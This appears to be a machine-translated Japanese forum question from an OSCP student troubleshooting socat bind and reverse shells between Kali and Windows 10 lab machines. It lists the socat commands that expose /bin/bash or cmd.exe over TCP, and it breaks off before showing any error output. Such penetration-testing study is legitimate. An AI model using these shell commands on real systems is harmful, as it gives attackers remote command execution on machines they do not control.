Socat-Windowsリバースシェルを作成する方法
こんにちは、私はここであなたの助けが必要です！
私は最近、OSCPマテリアルをアップグレードして新しいOSCPバージョン2020を取得し、暗号化されたバインドシェル/リバースシェルを作成するためにsocatの章に出会いました。
使い方は理解できたと思いましたが、WindowsマシンからKaliマシンに暗号化されたリバースシェルを送信しようとしても失敗しました。
両側で暗号化されていないバインドシェルでいくつかの試行錯誤を行うことにしました。
これが私のために働いたものです：
- Kali Bind Shell（kaliバインドシェルソケットに接続してWindowsで/ bin/bashを取得）
- Kali Reverse Shell（Windowsリスニングソケットに送信してWindowsで/ bin/bashを取得する）
これは私にとってうまくいかなかったものです：
- Windowsバインドシェル（Windowsリスニングシェルソケットに接続してcmd.exeを取得）
- Windowsリバースシェル（Kaliリスニングソケットに送信してcmd.exeを取得）
これが私がやったことです：
カーリーバインドシェル-OK
カリ（192.168.119.145）
socat -d -d -d TCP4-LISTEN:4444,fork EXEC:/bin/bash
Windows 10（192.168.145.10）
socat -d -d -d - TCP4:192.168.119.145:4444
カーリーリバースシェル-OK
Windows 10（192.168.145.10）
socat -d -d -d TCP4-LISTEN:4444,fork STDOUT
カリ（192.168.119.145）
socat -d -d -d TCP4:192.168.145.10:4444 EXEC:/bin/bash
Windows Bind Shell-NOT OK
Windows 10（192.168.145.10）
socat -d -d -d TCP4-LISTEN:4444,fork EXEC:cmd.exe
カリ（192.168.119.145）
socat -d -d -d - TCP4:192.168.145.10:4444
Windowsリバースシェル-NOT OK

socat -d -d -d TCP4-LISTEN:4444,fork STDOUT
Windows 10（192.168.145.10）
socat -d -d -d TCP4:192.168.119.145:4444 EXEC:cmd.exe
これが私が得るものです：
